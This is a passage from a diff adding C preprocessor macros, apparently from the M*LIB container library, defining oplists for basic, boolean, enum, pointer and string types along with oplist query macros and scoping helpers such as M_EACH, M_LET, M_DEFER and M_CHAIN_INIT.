+   PARSE_STR(M_PARSE_DEFAULT_TYPE M_IPTR), M_GET_STR_METHOD_FOR_DEFAULT_TYPE)
+# else
+/* C11 + No FILE support */
+#   define M_BASIC_OPLIST                                                     \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT) ,                               \
+   IN_SERIAL(M_IN_SERIAL_DEFAULT_ARG M_IPTR), OUT_SERIAL(M_OUT_SERIAL_DEFAULT_ARG), \
+   PARSE_STR(M_PARSE_DEFAULT_TYPE M_IPTR), M_GET_STR_METHOD_FOR_DEFAULT_TYPE)
+# endif
+#else
+/* C99 */
+# define M_BASIC_OPLIST                                                       \
+  (INIT(M_INIT_BASIC), INIT_SET(M_SET_BASIC), SET(M_SET_BASIC),               \
+   CLEAR(M_NOTHING_DEFAULT), EQUAL(M_EQUAL_BASIC), CMP(M_CMP_BASIC),          \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   RESET(M_INIT_BASIC), PROPERTIES( (NOCLEAR(1)) ),                           \
+   ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT),                                    \
+   MUL(M_MUL_DEFAULT), DIV(M_DIV_DEFAULT),                                    \
+   HASH(M_HASH_DEFAULT), SWAP(M_SWAP_DEFAULT)                         )
+#endif
+
+/* Obsolete name */
+#define M_DEFAULT_OPLIST M_BASIC_OPLIST
+
+/* Specialized oplist for a boolean.
+ * M_BASIC_OPLIST is nearly ok, except for ADD/SUB/MUL/DIV
+ * that generates warnings with boolean.
+ */
+#define M_BOOL_OPLIST                                                         \
+  M_OPEXTEND(M_BASIC_OPLIST, TYPE(_Bool), ADD(M_OR_DEFAULT), MUL(M_AND_DEFAULT), \
+              SUB(0), DIV(0))
+
+
+/* Specialized oplist for an enumerate.
+ * M_BASIC_OPLIST is nearly ok, except if build in C++ mode.
+ * Also I/O are specialized and arithmetics are removed
+ * OPLIST doesn't store an oplist but an additional parameter
+ * (the initial value)
+ */
+#if M_USE_STDIO
+/*  FILE support */
+#define M_ENUM_OPLIST(type, init)                                             \
+  (INIT(API_1(M_ENUM_INIT)), INIT_SET(M_SET_DEFAULT),                         \
+   SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT),                              \
+   EQUAL(M_EQUAL_DEFAULT), CMP(M_CMP_DEFAULT),                                \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT),                            \
+   TYPE(type), OPLIST(init),                                                  \
+   IN_STR(API_1(M_ENUM_FSCAN)), OUT_STR(M_ENUM_FPRINT),                       \
+   IN_SERIAL(API_1(M_ENUM_IN_SERIAL)), OUT_SERIAL(M_ENUM_OUT_SERIAL),         \
+   PARSE_STR(API_1(M_ENUM_PARSE)), M_GET_STR_METHOD_FOR_ENUM_TYPE             \
+  )
+#else
+/* No File support */
+#define M_ENUM_OPLIST(type, init)                                             \
+  (INIT(API_1(M_ENUM_INIT)), INIT_SET(M_SET_DEFAULT),                         \
+   SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT),                              \
+   EQUAL(M_EQUAL_DEFAULT), CMP(M_CMP_DEFAULT),                                \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) ,                            \
+   HASH(M_HASH_POD_DEFAULT), SWAP(M_SWAP_DEFAULT),                            \
+   TYPE(type), OPLIST(init),                                                  \
+   IN_SERIAL(API_1(M_ENUM_IN_SERIAL)), OUT_SERIAL(M_ENUM_OUT_SERIAL),         \
+   PARSE_STR(API_1(M_ENUM_PARSE)), M_GET_STR_METHOD_FOR_ENUM_TYPE             \
+   )
+#endif /* M_USE_STDIO */
+
+/* It will be overloaded if m-string.h is included */
+#define M_GET_STR_METHOD_FOR_ENUM_TYPE
+
+/* Initialize an enum to its init value */
+#define M_ENUM_INIT(oplist, var)                                              \
+  ((var) = M_GET_OPLIST oplist )
+
+/* Define helper functions for enum oplist */
+/* Input/Output an enumerate.
+   It is stored as a long long integer for best compatibility. */
+#if M_USE_STDIO
+M_INLINE long long
+m_core_fscan_enum (FILE *f)
+{
+  long long ret;
+  int s = m_core_fscanf(f, "%lld", &ret) == 1;
+  /* HACK: Push back the return code in FILE stream,
+     so that it can be popped later with a fgetc */
+  ungetc(s, f);
+  return ret;
+}
+#define M_ENUM_FPRINT(f, var) fprintf( (f), "%lld", (long long) (var))
+#define M_ENUM_FSCAN(oplist, var, f)                                          \
+  ( var = (M_GET_TYPE oplist) (true ? m_core_fscan_enum(f) : 0), fgetc(f))
+#endif /* M_USE_STDIO */
+
+/* HACK: Parse two times to convert and then compute
+   if the conversion succeeds for PARSE */
+M_INLINE long long
+m_core_parse1_enum (const char str[])
+{
+  return strtoll(str, NULL, 10);
+}
+M_INLINE bool
+m_core_parse2_enum (const char str[], const char **endptr)
+{
+  char *end;
+  strtoll(str, &end, 10);
+  if (endptr != NULL) *endptr = end;
+  return end != str;
+}
+
+#define M_ENUM_OUT_SERIAL(serial, var)                                        \
+  ((serial)->m_interface->write_integer(serial, (long long) (var), sizeof (var)))
+#define M_ENUM_IN_SERIAL(oplist, var, serial)                                 \
+  ( var = (M_GET_TYPE oplist)(true ? m_core_in_serial_enum(serial) : 0), (serial)->tmp.r)
+#define M_ENUM_GET_STR(str, var, append)                                      \
+  ((append ? m_string_cat_printf : m_string_printf) M_R(str, "%lld", (long long) (var) ))
+#define M_ENUM_PARSE(oplist, var, str, endptr)                                \
+  ( var = (M_GET_TYPE oplist) (true ? m_core_parse1_enum(str) : 0), m_core_parse2_enum(str, endptr))
+
+
+/* Default oplist for standard types of pointers (not smart pointers, not handling ownership)
+ */
+#define M_PTR_OPLIST                                                          \
+  (INIT(M_INIT_DEFAULT), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   EQUAL(M_EQUAL_DEFAULT), SWAP(M_SWAP_DEFAULT)                               \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT) )
+
+
+/* Default oplist for complex objects (using [1] trick) with "classic" names for methods.
+ */
+#define M_CLASSIC_OPLIST(name) (                                              \
+  INIT(M_F(name, _init)), INIT_SET(M_F(name, _init_set)), SET(M_F(name, _set)), CLEAR(M_F(name, _clear)), \
+  INIT_MOVE(M_COPY_A1OBJ), TYPE(M_F(name, _t)) )
+
+
+/* Default oplist for 'const char *' string (with NO memory allocation).
+ */
+#define M_CSTR_EQUAL(a,b) (strcmp((a),(b)) == 0)
+#define M_CSTR_OUT_STR(file, str) fprintf(file, "%s", str)
+#define M_CSTR_OPLIST                                                         \
+  (INIT(M_INIT_DEFAULT), INIT_SET(M_SET_DEFAULT), SET(M_SET_DEFAULT), CLEAR(M_NOTHING_DEFAULT), \
+   HASH(m_core_cstr_hash), EQUAL(M_CSTR_EQUAL), CMP(strcmp), SWAP(M_SWAP_DEFAULT), \
+   INIT_MOVE(M_SET_DEFAULT), MOVE(M_SET_DEFAULT), TYPE(const char *),         \
+   OUT_STR(M_CSTR_OUT_STR) )
+
+/****************************************************************************/
+
+/* From an oplist (...) return ... (Like M_ID but for OPLIST) */
+#define M_OPFLAT(...)     __VA_ARGS__
+
+/* Concat two oplists in one. op1 will have higher priority to op2 */
+// Obsolete macro (never used)
+#define M_OPCAT(op1,op2) (M_OPFLAT op1, M_OPFLAT op2)
+
+/* Apply an oplist */
+#define M_OPAPPLY(a, oplist)  a oplist
+
+/* Extend an oplist by adding some methods.
+   These methods will have higher priority than the ones in the oplist.
+   Example:
+    M_OPEXTEND(M_BASIC_OPLIST, ADD(M_ADD_DEFAULT), SUB(M_SUB_DEFAULT))
+*/
+#define M_OPEXTEND(op, ...) (__VA_ARGS__, M_OPFLAT op)
+
+/* Return the content of a property named 'propname' 
+   in the PROPERTIES field of oplist
+   or 0, if it is not defined */
+#define M_GET_PROPERTY(oplist, propname)                                      \
+  M_GET_METHOD (propname, 0, M_OPFLAT M_GET_PROPERTIES oplist)
+
+/* Test if a method is present in an oplist.
+   Return 0 (method is absent or disabled) or 1 (method is present and not disabled).
+   NOTE: M_TEST_METHOD_P does not work if method is something within parenthesis (like OPLIST*)
+   In this case, you shall use the M_TEST_METHOD_ALTER_P macro (safer but slower).
+ */
+#define M_TEST_METHOD_P(method, oplist)                                       \
+  M_BOOL(M_GET_METHOD (method, 0, M_OPFLAT oplist))
+
+#define M_TEST_METHOD_ALTER_P(method, oplist)                                 \
+  M_INV(M_EMPTY_P(M_GET_METHOD (method, , M_OPFLAT oplist)))
+
+
+/* Test if a method is disabled in an oplist.
+   To disable an oplist, just put '0' in the method like this:
+   Example: (INIT(0), CLEAR(clear))
+   Here INIT is disabled, whereas CLEAR is not.
+   Return 1 (method is disabled) or 0 (method is not disabled - absent or present) */
+#define M_TEST_DISABLED_METHOD_P(method, oplist)                              \
+  M_INV(M_BOOL(M_GET_METHOD (method, 1, M_OPFLAT oplist)))
+
+/* Perfom a preprocessing M_IF, if the method is present in the oplist.
+   Example: M_IF_METHOD(HASH, oplist)(define function with HASH method, ) */
+#define M_IF_METHOD(method, oplist) M_IF(M_TEST_METHOD_P(method, oplist))
+
+/* Perfom a preprocessing M_IF, if the method is disabled in the oplist.
+   Example: M_IF_DISABLED_METHOD(HASH, oplist)(define function without HASH method, ) */
+#define M_IF_DISABLED_METHOD(method, oplist) M_IF(M_TEST_DISABLED_METHOD_P(method, oplist))
+
+/* Perform a preprocessing M_IF if the method exists in both oplist.
+   Example: M_IF_METHOD_BOTH(HASH, oplist1, oplist2) (define function with HASH method, ) */
+#define M_IF_METHOD_BOTH(method, oplist1, oplist2)                            \
+  M_IF(M_AND(M_TEST_METHOD_P(method, oplist1), M_TEST_METHOD_P(method, oplist2)))
+
+/* Perform a preprocessing M_IF if both methods exist in the oplist.
+   Example: M_IF_METHOD2(HASH, CMP, oplist) (define function with HASH & CMP method, ) */
+#define M_IF_METHOD2(method1, method2, oplist)                                \
+  M_IF(M_AND(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist)))
+
+/* Perform a preprocessing M_IF if all 3 methods exist in the oplist.
+   Example: M_IF_METHOD3(HASH, CMP, INIT, oplist) (define function with HASH & CMP & INIT method, ) */
+#define M_IF_METHOD3(method1, method2, method3, oplist)                       \
+  M_IF(M_AND3(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist), M_TEST_METHOD_P(method3, oplist)))
+
+/* Perform a preprocessing M_IF if at least one method exists in the oplist.
+   Example: M_IF_AT_LEAST_METHOD(HASH, CMP, oplist) (define function with HASH or CMP method, ) */
+#define M_IF_AT_LEAST_METHOD(method1, method2, oplist)                        \
+  M_IF(M_OR(M_TEST_METHOD_P(method1, oplist), M_TEST_METHOD_P(method2, oplist)))
+
+/* Perform a preprocessing M_IF if both methods exists in both oplist.
+   Example: M_IF_METHOD2_BOTH(HASH, INIT, oplist1, oplist2) (define function with HASH & INIT method, ) */
+#define M_IF_METHOD2_BOTH(method1, method2, oplist1, oplist2)                 \
+  M_IF(M_AND(M_AND(M_TEST_METHOD_P(method1, oplist1), M_TEST_METHOD_P(method1, oplist2)), \
+             M_AND(M_TEST_METHOD_P(method2, oplist1), M_TEST_METHOD_P(method2, oplist2))))
+
+/* Perform a preprocessing M_IF if the method exists for all oplist.
+   Example: M_IF_METHOD_ALL(HASH, oplist1, oplist2) (define function with HASH method, ) */
+#define M_IF_METHOD_ALL(method, ...)                                          \
+  M_IF(M_REDUCE2(M_TEST_METHOD_P, M_AND, method, __VA_ARGS__))
+
+/* Perform a preprocessing M_IF if both methods exist for all oplist.
+   Example: M_IF_METHOD2_ALL(HASH, INIT, oplist1, oplist2) (define function with HASH & INIT methods,  ) */
+#define M_IF_METHOD2_ALL(method1, method2, ...)                               \
+  M_IF(M_REDUCE2(M_TEST_METHOD2_P, M_AND, (method1, method2), __VA_ARGS__))
+#define M_TEST_METHOD2_P(method_pair, oplist)                                 \
+  M_AND(M_TEST_METHOD_P(M_PAIR_1 method_pair, oplist), M_TEST_METHOD_P(M_PAIR_2 method_pair, oplist))
+
+/* By putting this after a method in an oplist, we transform the argument list
+   so that the first argument becomes a pointer to the destination (OBSOLETE MACRO) */
+#define M_IPTR(...) ( & __VA_ARGS__ )
+
+/* Perform a MOVE if present, or emulate it using CLEAR/INIT_MOVE
+   if possible, or with SET/CLEAR otherwise                            */
+#define M_DO_MOVE(oplist, dest, src) do {                                     \
+    M_IF_METHOD(MOVE, oplist)       (M_CALL_MOVE(oplist, (dest), (src)),      \
+        M_IF_METHOD(INIT_MOVE, oplist)(M_CALL_CLEAR(oplist, (dest));          \
+                       M_CALL_INIT_MOVE(oplist, (dest), (src)),               \
+                                       M_CALL_SET(oplist, (dest), (src));     \
+                                       M_CALL_CLEAR(oplist, (src))            \
+                                   ));                                        \
+  } while (0)
+
+/* Provide SET semantics through INIT_SET. Needs API_1 */
+#define M_SET_THROUGH_INIT_SET(oplist, dst, src)                              \
+  ( M_CALL_CLEAR(oplist, dst), M_CALL_INIT_SET(oplist, dst, src) )
+
+/* Test if the argument is an expression that looks like an oplist:
+ * - the data are within parenthesis
+ * - there is only one level of parenthesis
+ * The detection is imperfect.
+*/
+#define M_OPLIST_P(a)                                                         \
+  M_AND(M_PARENTHESIS_P(a), M_INV(M_PARENTHESIS_P (M_OPFLAT a)))
+
+#define M_IF_OPLIST(a) M_IF(M_OPLIST_P(a))
+
+/* If 'a' seems to be an oplist, it returns a,
+   else if a symbol composed of M_OPL_##a() exists and is defined as an oplist, it returns it
+   else it returns a (but it is likely to fail latter).
+   In short, if a global oplist is defined for the argument, it returns it
+   otherwise it returns the argument.
+   Global oplist is limited to typedef types.
+   We need to delay the concat between M_OPL_ and a until we know it cannot be an oplist
+   as if a is an oplist the concat of M_OPL_ and an oplist will produce an illegal token.
+*/
+#define M_GLOBAL_OPLIST(a)                                                    \
+  M_IF( M_OPLIST_P(a))(M_GLOBALI_OPLIST_ID, M_GLOBALI_OPLIST_ELSE)(a)
+#define M_GLOBALI_OPLIST_ID(a)              a
+#define M_GLOBALI_OPLIST_ELSE(a)            M_GLOBALI_OPLIST_ELSE2(a, M_C(M_OPL_, a)())
+#define M_GLOBALI_OPLIST_ELSE2(a, op)       M_IF( M_OPLIST_P (op))(op, a)
+
+#define M_GLOBAL_TYPE(a)                                                      \
+  M_IF( M_OPLIST_P(a))(M_GLOBALI_TYPE_GET, M_GLOBALI_OPLIST_ID)(a)
+#define M_GLOBALI_TYPE_GET(a)              M_GET_TYPE a
+
+/* If a symbol composed of M_OPL_##a() exists and is defined as an oplist,
+   it returns it otherwise it returns M_BASIC_OPLIST.
+   Global oplist is limited to typedef types.
+   NOTE1: It first tests if the type doesn't start with a parenthesis,
+   in which case concatenation cannot be used.
+   NOTE: It doesn't test if M_OPL_##a() is exactly an oplist (M_OPLIST_P)
+   but rather than if it starts with parenthesis: this is to allow
+   M_OPL_a() to expand into an invalid oplist ((M_LIB_ERROR()))
+   NOTE: The result of this macro shall be evaluated like this:
+       M_GLOBAL_OPLIST_OR_DEF(type)()
+*/
+#define M_GLOBAL_OPLIST_OR_DEF(a)                                             \
+  M_IF( M_PARENTHESIS_P(a))(M_GLOBALI_OPLIST_DEFAULT1, M_GLOBALI_OPLIST_OR_DEF_ELSE)(a)
+#define M_GLOBALI_OPLIST_DEFAULT1(a)          M_GLOBALI_OPLIST_DEFAULT2
+#define M_GLOBALI_OPLIST_DEFAULT2()           M_BASIC_OPLIST
+#define M_GLOBALI_OPLIST_OR_DEF_ELSE(a)       M_GLOBALI_OPLIST_OR_DEF_ELSE2(a, M_C(M_OPL_, a)())
+#define M_GLOBALI_OPLIST_OR_DEF_ELSE2(a, op)  M_IF( M_PARENTHESIS_P(op))(M_C(M_OPL_, a), M_GLOBALI_OPLIST_DEFAULT2)
+
+
+/* Register simple classic C types (no qualifier)
+ * We cannot register type with qualifier (for example long long) however.
+ */
+#define M_OPL_char() M_OPEXTEND(M_BASIC_OPLIST, TYPE(char))
+#define M_OPL_short() M_OPEXTEND(M_BASIC_OPLIST, TYPE(short))
+#define M_OPL_int() M_OPEXTEND(M_BASIC_OPLIST, TYPE(int))
+#define M_OPL_unsigned() M_OPEXTEND(M_BASIC_OPLIST, TYPE(unsigned))
+#define M_OPL_long() M_OPEXTEND(M_BASIC_OPLIST, TYPE(long))
+#define M_OPL_float() M_OPEXTEND(M_BASIC_OPLIST, TYPE(float))
+#define M_OPL_double() M_OPEXTEND(M_BASIC_OPLIST, TYPE(double))
+#define M_OPL_bool()   M_BOOL_OPLIST
+#define M_OPL__Bool()  M_BOOL_OPLIST
+
+
+/************************************************************/
+/******************** Syntax Enhancing **********************/
+/************************************************************/
+
+/* M_EACH enables iterating over a container using a for loop.
+   First argument will be a created pointer var to the underlying type.
+   Second argument is the container to iterate.
+   Third argument can be the oplist of the list or the type of the list if a global
+   oplist has been recorded.
+   USAGE: for M_EACH(item, list, LIST_OPLIST) { action; } 
+*/
+#define M_EACH(item, container, oplist)                                       \
+  M_EACHI_OPLIST(item, container, M_GLOBAL_OPLIST(oplist))
+
+/* Internal for M_EACH */
+#define M_EACHI_OPLIST(item, container, oplist)                               \
+  M_IF_METHOD(IT_REF, oplist)(M_EACHI, M_EACHI_CONST)                         \
+  (item, container, oplist, M_C(local_iterator_, __LINE__),                   \
+   M_C(local_cont_, __LINE__))
+
+/* Internal for M_EACH with M_GET_IT_REF operator */
+#define M_EACHI(item,container,oplist, iterator, cont)                        \
+  (bool cont = true; cont; cont = false)                                      \
+  for(M_GET_SUBTYPE oplist *item; cont ; cont = false)                        \
+    for(M_GET_IT_TYPE oplist iterator; cont ; cont = false)                   \
+      for(M_GET_IT_FIRST oplist (iterator, container) ;                       \
+          !M_GET_IT_END_P oplist (iterator)                                   \
+            && (item = M_GET_IT_REF oplist (iterator), true) ;                \
+          M_GET_IT_NEXT oplist (iterator))
+
+/* Internal for M_EACH with M_GET_IT_CREF operator */
+#define M_EACHI_CONST(item,container,oplist, iterator, cont)                  \
+  (bool cont = true; cont; cont = false)                                      \
+  for(const M_GET_SUBTYPE oplist *item; cont ; cont = false)                  \
+    for(M_GET_IT_TYPE oplist iterator; cont ; cont = false)                   \
+      for(M_GET_IT_FIRST oplist (iterator, container) ;                       \
+          !M_GET_IT_END_P oplist (iterator)                                   \
+            && (item = M_GET_IT_CREF oplist (iterator), true) ;               \
+          M_GET_IT_NEXT oplist (iterator))
+
+
+/* M_LET defines, initializes & clears an object available within the next bracket.
+   USAGE:
+   M_LET(variable_list, variable_oplist|variable_type) { code }
+   * variable_list can be a comma separated list of variable.
+   * A variable alone is initialized to its default value.
+   * A variable with initializer (like '(var, init value...)' 
+      is initialized with this init values.
+   NOTE: The code within {} can not perform return or goto command.
+   break is supported and will exit the braket (calling the clear method)
+   Last argument can be the oplist or the type itself if a global
+   oplist has been recorded for this type.
+ */
+#define M_LET(a, ...)                                                         \
+  M_ID(M_LETI0 ((M_REVERSE(a, __VA_ARGS__,                                    \
+                        M_IF(M_PARENTHESIS_P(a))(M_LETI_VAR_NAME_A,           \
+                                                 M_LETI_VAR_NAME_B)(a) ))))
+
+// 1b. Generate a unique name based on the first variable and the line number
+#define M_LETI_VAR_NAME_A(var) M_C3(_local_cont_, M_RET_ARG1 var, __LINE__)
+#define M_LETI_VAR_NAME_B(var) M_C3(_local_cont_, var, __LINE__)
+// 2. Evaluate with or without and inject oplist
+#define M_LETI0(list)                                                         \
+  M_LETI1 list
+#define M_LETI1(cont, oplist, ...)                                            \
+  M_LETI2(cont, M_GLOBAL_OPLIST(oplist), __VA_ARGS__)
+// 3. Validate oplist before going any further
+#define M_LETI2(cont, oplist, ...)                                            \
+  M_IF_OPLIST(oplist)(M_LETI3, M_LETI2_FAILURE)(cont, oplist, __VA_ARGS__)
+// Stop with a failure (invalid oplist)
+#define M_LETI2_FAILURE(cont, oplist, ...)                                    \
+  M_STATIC_ASSERT(false, M_LIB_NOT_AN_OPLIST, "the last argument of M_LET is not a valid oplist or a registered type: " M_AS_STR(oplist))
+// 4. Map all variables to their own LET
+#define M_LETI3(cont, oplist, ...)                                            \
+  for(bool cont = true; cont ; /* unused */)                                  \
+    M_MAP2(M_LETI_SINGLE, (cont, oplist), __VA_ARGS__)                        \
+    for(;cont;cont = false)
+// 5. Dispatch the right LET in function of having or not arguments with data = (cont, oplist)
+#define M_LETI_SINGLE(data, name)                                             \
+  M_IF(M_PARENTHESIS_P(name))(M_LETI_SINGLE2_SET,M_LETI_SINGLE2)              \
+         (M_PAIR_1 data, M_PAIR_2 data, name, M_RET_ARG1 name, M_SKIPI_1 name)
+// 6a. Define without argument ==> use the INIT operator
+#define M_LETI_SINGLE2(cont, oplist, name, ...)                               \
+  M_LET_TRY_INJECT_PRE(cont, oplist, name)                                    \
+  for(M_GET_TYPE oplist name;                                                 \
+      cont && (M_CALL_INIT(oplist, name), true);                              \
+      (M_CALL_CLEAR(oplist, name), cont = false))                             \
+  M_LET_TRY_INJECT_POST(cont, oplist, name)
+// 6b. Define with arguments ==> use the INIT_SET or INIT_WITH operator (if defined).
+#define M_LETI_SINGLE2_SET(cont, oplist, params, name, ...)                   \
+  M_LET_TRY_INJECT_PRE(cont, oplist, name)                                    \
+  for(M_GET_TYPE oplist name;                                                 \
+      cont && (M_LETI_SINGLE2_INIT(oplist, name, __VA_ARGS__), true);         \
+      (M_CALL_CLEAR(oplist, name), cont = false))                             \
+  M_LET_TRY_INJECT_POST(cont, oplist, name)
+// 6c. Use of INIT_SET or INIT_WITH.
+#define M_LETI_SINGLE2_INIT(oplist, name, ...)                                \
+  M_IF_METHOD(INIT_WITH,oplist)(M_LETI_SINGLE3_INIT, M_CALL_INIT_SET)(oplist, name, __VA_ARGS__)
+#define M_LETI_SINGLE3_INIT(oplist, name, ...)                                \
+  M_IF(M_NOTEQUAL( M_NARGS(__VA_ARGS__), 1))(M_CALL_INIT_WITH, M_LETI_SINGLE4_INIT)(oplist, name, __VA_ARGS__)
+#define M_LETI_SINGLE4_INIT(oplist, name, arg)                                \
+  M_IF(M_GET_PROPERTY(oplist, LET_AS_INIT_WITH))(M_CALL_INIT_WITH, M_LETI_SINGLE5_INIT)(oplist, name, arg)
+#define M_LETI_SINGLE5_INIT(oplist, name, arg)                                \
+  M_IF(M_PARENTHESIS_P( arg ) )(M_CALL_INIT_WITH, M_CALL_INIT_SET)(oplist, name, M_REMOVE_PARENTHESIS (arg))
+
+/* Dummy stubs that do nothing by default (overrided if needed by m-try) */
+#define M_LET_TRY_INJECT_PRE(cont, oplist, name)
+#define M_LET_TRY_INJECT_POST(cont, oplist, name)
+
+/*
+ * Internal M_LET for use within container.
+ * Declare the given variable of the given type and
+ * initialize / clear it using the given oplist .
+ * 
+ * index shall be a number within the function (from 1)
+ * identifying the M_QLET in the service.
+*/
+#define M_QLET(index, var, type, oplist)                                      \
+  M_LET(var, M_OPEXTEND(oplist, TYPE(type)))
+
+/* Transform the va list by adding their number as the first argument of
+   the list.
+   Example:   M_VA(a,b,c,d,e) ==> 5,a,b,c,d,e
+   TODO: Use of a structure instead of an integer to ensure limited syntax control.
+*/
+#define M_VA(...) M_NARGS(__VA_ARGS__), __VA_ARGS__
+
+
+/* Defer the evaluation of the given expression until the closing brace.
+   M_DEFER(code) { }
+   Example:
+     M_DEFER(free(p)) {
+             // code using p
+     } // Here p is free
+  M_DEFER2 can be used if you need to defer two expressions in the same line.
+*/
+#define M_DEFER(...)                                                          \
+  M_DEFER_INTERNAL(M_C(m_var_, __LINE__), __VA_ARGS__)
+
+#define M_DEFER2(...)                                                         \
+  M_DEFER_INTERNAL(M_C(m_var2_, __LINE__), __VA_ARGS__)
+
+#define M_DEFER_INTERNAL(cont, ...)                                           \
+  for(bool cont = true; cont; cont = false)                                   \
+    M_DEFER_TRY_INJECT_PRE(cont, __VA_ARGS__)                                 \
+      for( (void) 0; cont ; (__VA_ARGS__), cont = false)                      \
+        M_DEFER_TRY_INJECT_POST(cont, __VA_ARGS__)                            \
+          for( (void) 0; cont; cont = false)
+
+// Theses macros will be overrided by m-try if needed.
+#define M_DEFER_TRY_INJECT_PRE(cont, clear) /* Nothing */
+#define M_DEFER_TRY_INJECT_POST(cont, clear) /* Nothing */
+
+
+/* If exceptions are activated, M_CHAIN_INIT enables support for chaining
+  initialization at the begining of a constructor for the fields of the constructed
+  object so that even if the constructor failed and throw an exception, 
+  the fields of the constructed object are properly cleared.
+  This is equivalent to C++ construct: void type() : field1(), field2() { rest of constructor }
+  M_CHAIN_INIT shall be the first instruction of the init function.
+  Second argument is the initialization code.
+  Third argument is the clear code.
+  The clear code is *only* executed on exception.
+  USAGE:
+    void init_function(struct_t s) {
+      M_CHAIN_INIT(name, string_init(s->str), string_clear(s->str)) {
+        // Rest of initialization code
+      }
+    }
+ */
+#define M_CHAIN_INIT(name, init, clear)                                       \
+  M_CHAIN_INIT_INTERNAL(M_C(m_var_, name), init, clear)
+
+#define M_CHAIN_INIT_INTERNAL(cont, init, clear)                              \
+  for(bool cont = true; cont; cont = false)                                   \
+    M_DEFER_TRY_INJECT_PRE(cont, clear)                                       \
+      for( init; cont ; cont = false)                                         \
+        M_DEFER_TRY_INJECT_POST(cont, clear)                                  \
+          for( (void) 0; cont; cont = false)
+  
+
+/* If exceptions are activated, M_CHAIN_OBJ enables support for chaining
+  initialization at the begining of a constructor for the fields of the constructed
+  object so that even if the constructor failed and throw an exception,
+  the fields of the constructed object are properly cleared.
+  This is equivalent to M_CHAIN_INIT except it takes an oplist.
+  This is equivalent to C++ construct: void type() : field1(), field2() { rest of constructor }
+  M_CHAIN_OBJ shall be the first instruction of the init function except
+  it can be freely mixed with M_CHAIN_INIT
+  First argument is a name identifier.
+  Second argument is the oplist of the variable to initialize.
+  Third argument is the variable to initialize.
+  Optional fourth argument is the value to use for initialization.
+  If there is no value, it will initialize using the INIT method.
+  Otherwise, if there is no parenthesis around the value, it will use the INIT_SET method.
+  Otherwise the INIT_WITH method.
+  The clear code is *only* executed on exception.
+  If the property NOCLEAR is defined for the object,
+  it won't generate an exception handler at all even if exceptions are activated,
+  and will only initialize the object.
+  USAGE:
+    void init_function(struct_t s) {
+      M_CHAIN_OBJ(name, STRING_OPLIST, s->str ) {
+        // Rest of initialization code
+      }
+    }
+ */
+#define M_CHAIN_OBJ(name, oplist, ...)                                        \
+  M_BY_NARGS( M_IF(M_GET_PROPERTY(oplist, NOCLEAR))(M_CHAIN_OBJ_A, M_CHAIN_OBJ_B), __VA_ARGS__) \
+  (name, oplist, __VA_ARGS__)
+// Need to define an exception handler. Use of M_CHAIN_INIT
+#define M_CHAIN_OBJ_B__1(name, oplist, var)                                   \
+  M_CHAIN_INIT( name, M_CALL_INIT(oplist, var), M_CALL_CLEAR(oplist, var) )
+#define M_CHAIN_OBJ_B__2(name, oplist, var, value)                            \
+  M_IF(M_PARENTHESIS_P(value))(M_CHAIN_OBJ_B__2_WITH, M_CHAIN_OBJ_B__2_SET)   \
+  (name, oplist, var, value)
+#define M_CHAIN_OBJ_B__2_WITH(name, oplist, var, value)                       \
+  M_CHAIN_INIT( name, M_CALL_INIT_WITH(oplist, var, value), M_CALL_CLEAR(oplist, var) )
+#define M_CHAIN_OBJ_B__2_SET(name, oplist, var, value)                        \
+  M_CHAIN_INIT( name, M_CALL_INIT_SET(oplist, var, value), M_CALL_CLEAR(oplist, var) )
+// No need to define an exception handler. Just call the INIT function.
+#define M_CHAIN_OBJ_A__1(name, oplist, var)                                   \
+  M_CHAIN_FOR(name, M_CALL_INIT(oplist, var) )
+#define M_CHAIN_OBJ_A__2(name, oplist, var, value)                            \
+  M_CHAIN_FOR(name,                                                           \
+      M_IF(M_PARENTHESIS_P(value))(M_CALL_INIT_WITH, M_CALL_INIT_SET)         \
+      (oplist, var, value) )
+
+// Execute the 'init' function in a for loop construct
+#define M_CHAIN_FOR(name,  init )                                             \
+  M_CHAIN_FOR_B(M_C(m_var_, name), init)
+#define M_CHAIN_FOR_B(cont, init)                                             \
+  for(bool cont = true; cont; cont = false)                                   \
+      for( init; cont ; cont = false)                                         \
+          for( (void) 0; cont; cont = false)
+
+
+/* If exceptions are activated, M_ON_EXCEPTION enables support for fixing
+  the data structure when an exception is throw,
+  so that the data structure integrity is ready for the CLEAR method.
+  The fix code is *only* executed on exception.
+  USAGE:
+    void init_function(struct_t s) {
+      M_ON_EXCEPTION(s->size = i ) {
+        // Rest of initialization code
+      }
+    }
+  Do nothing if exceptions are not enabled.
+ */
+#define M_ON_EXCEPTION(...)  for(bool cont = true; cont; cont = false)        \
+
+/* If exceptions are activated, M_IF_EXCEPTION will expand the code.
+  Do nothing if exceptions are not enabled. */
+#define M_IF_EXCEPTION(...) 
+
+/* Declare a variable as volatile if exceptions are enabled */
+#define m_volatile /* nothing */
+
+
+/* Declare a variable, initialize it, continue if the initialization succeeds,
+   and clears the variable afterwards.
+   Otherwise, stop the execution and execute else_code if defined.
+   M_LET_IF(init code, test code, clear code[, else_code]) { code using the variable }
+   Example:
+   M_LET_IF(void * p = malloc(100), p!=0, free(p)) {
+      // code using p
+   } // Here p is free
+*/
